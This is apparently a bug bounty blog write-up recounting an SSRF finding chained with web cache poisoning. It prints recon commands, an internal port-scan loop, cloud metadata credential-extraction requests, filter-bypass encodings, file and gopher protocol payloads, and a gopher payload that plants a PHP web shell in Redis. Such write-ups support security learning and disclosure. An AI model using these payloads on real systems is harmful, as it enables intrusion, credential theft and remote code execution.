Hey there!😁

Life lesson #1: Never trust URLs that look innocent. Life lesson #2: Never trust developers who say "it's just fetching data." Life lesson #3: If it says uri=, it probably says "hack me." 😏 Life lesson #4: Sometimes… even the best findings don't end the way you expect.

🎯 The Target That Looked Too Simple

It started like any other bug bounty day — caffeine ☕, Burp Suite open, and my recon scripts humming like a hacker's lullaby.

While digging through endpoints, I stumbled upon something that looked too clean:

http://site.com/users/view/data?uri=

At first glance, it screamed "I fetch external resources". And to a bug bounty hunter… that's basically a love letter 💌.

🔍 Phase 1: Mass Recon & Pattern Hunting

Before touching the parameter, I went full recon mode:

gau site.com | grep -i "uri="
waybackurls site.com | grep "fetch\|url\|uri"

Then layered it with JS endpoint extraction:

cat jsfiles.txt | xargs -I {} curl -s {} | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"

💡 That's when I noticed something interesting…

A web cache poisoning-prone endpoint:

/api/cache/fetch?resource=

This wasn't your typical SSRF entry. This endpoint was caching responses based on user-controlled input — juicy.

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🧠 Phase 2: SSRF Discovery (The First Knock 🚪)

Back to the original parameter:

uri=

I tested basic SSRF payloads:

uri=http://example.com

✅ Response came back.

Now… time for internal probing.

uri=http://127.0.0.1
uri=http://localhost
uri=http://0.0.0.0

And boom 💥

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uri=http://0.0.0.0/admin

The response changed. Slightly different length. Different headers. Something was there.

🧨 Phase 3: The Breakthrough Payload

Then I crafted the payload that changed everything:

uri=http://0.0.0.0/admin/dashboard

And guess what?

👉 Admin panel HTML rendered inside the response.

No authentication. No tokens. Just vibes.

At this point, I literally whispered:

"Oh… this is gonna be a good day." 😌

🕵️ Phase 4: Going Deeper (Internal Enumeration)

Now it wasn't just SSRF anymore — it was internal network pivoting.

I automated internal scans via SSRF:

for port in 80 443 8080 3000 5000; do
  curl "http://site.com/users/view/data?uri=http://127.0.0.1:$port"
done

Found:

  • Internal API on :8080
  • Admin service on :3000
  • Metadata endpoint 👀

☠️ Cloud Metadata Extraction

Classic move:

uri=http://169.254.169.254/latest/meta-data/

And yes… it responded.

Then:

uri=http://169.254.169.254/latest/meta-data/iam/security-credentials/

💀 IAM role leaked.

Followed by:

uri=http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role

🔥 Temporary credentials exposed.

🧪 Phase 5: Web Cache Poisoning Combo

Remember that cache endpoint?

/api/cache/fetch?resource=

I chained SSRF with cache poisoning:

resource=http://0.0.0.0/admin/dashboard

Then added header manipulation:

X-Forwarded-Host: evil.com
X-Original-URL: /admin/dashboard

Now the admin panel response got cached.

Meaning:

👉 Other users hitting that endpoint could receive poisoned responses.

That's not just SSRF anymore — that's mass impact.

🌑 Dark Web Twist: Why This Matters More Than Ever

While writing this, I remembered a thread I saw floating around underground forums…

Attackers are actively trading:

  • SSRF exploitation chains
  • Cloud metadata extraction tricks
  • Internal pivoting scripts

Recent breach discussions showed how attackers:

  • Used SSRF to access internal dashboards
  • Pulled cloud credentials from metadata
  • Moved laterally inside networks within minutes

And there I was… staring at my screen… realizing I had walked the exact same path.

Not as an attacker… but as a researcher.

🧰 Advanced Payload Tricks I Used

🔹 Bypass Filters

http://0.0.0.0
http://127.1
http://2130706433
http://[::]

🔹 DNS Rebinding

uri=http://attacker-controlled-domain.com

(Change DNS after resolution)

🔹 Protocol Abuse

file:///etc/passwd
gopher://127.0.0.1:6379/_INFO
dict://127.0.0.1:11211/stats

🔹 SSRF to RCE (Potential)

gopher://127.0.0.1:6379/_SET%20shell%20"<?php system($_GET['cmd']); ?>"

📸 Proof of Concept (Real Flow)

  1. Send request:
GET /users/view/data?uri=http://0.0.0.0/admin/dashboard
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  1. Response:
  • Admin HTML panel visible
  • No authentication required
  1. Extract sensitive endpoints
  2. Access metadata:
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uri=http://169.254.169.254/latest/meta-data/
  1. Dump credentials

🚨 Impact

This wasn't just SSRF.

This was:

  • ✅ Internal admin panel access
  • ✅ Cloud credential exposure
  • ✅ Cache poisoning
  • ✅ Potential RCE paths
  • ✅ Full infrastructure compromise

Severity?

💣 Critical

🧠 Final Thoughts

Sometimes the biggest bugs don't come from complex logic…

They come from a simple parameter like:

uri=

And a developer who thought:

"Yeah… let's just fetch whatever the user gives." 🤡

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Gif

🥀 The Climax I Didn't Expect

I documented everything carefully. Every request, every response, every step.

I rechecked the impact. I revalidated the chain. I made sure it was clean, clear, and undeniable.

And then… I submitted it.

Days passed.

Then came the response.

"This issue has already been reported by another researcher."

For a moment, I just stared at the screen.

All those late nights. All that chaining. All that excitement when the admin panel first loaded…

Gone in a single line.

No celebration. No closure. Just… silence.

🏁 Closing Note

That's the reality no one talks about.

Not every valid finding becomes a victory. Not every deep chain gets recognized first.

But every hunt?

It sharpens you. 🧠⚔️

So if you're hunting:

👉 Keep testing 👉 Keep chaining 👉 Keep learning

Because one day…

That same persistence will hit first.

Stay curious. Stay dangerous. 🕵️‍♂️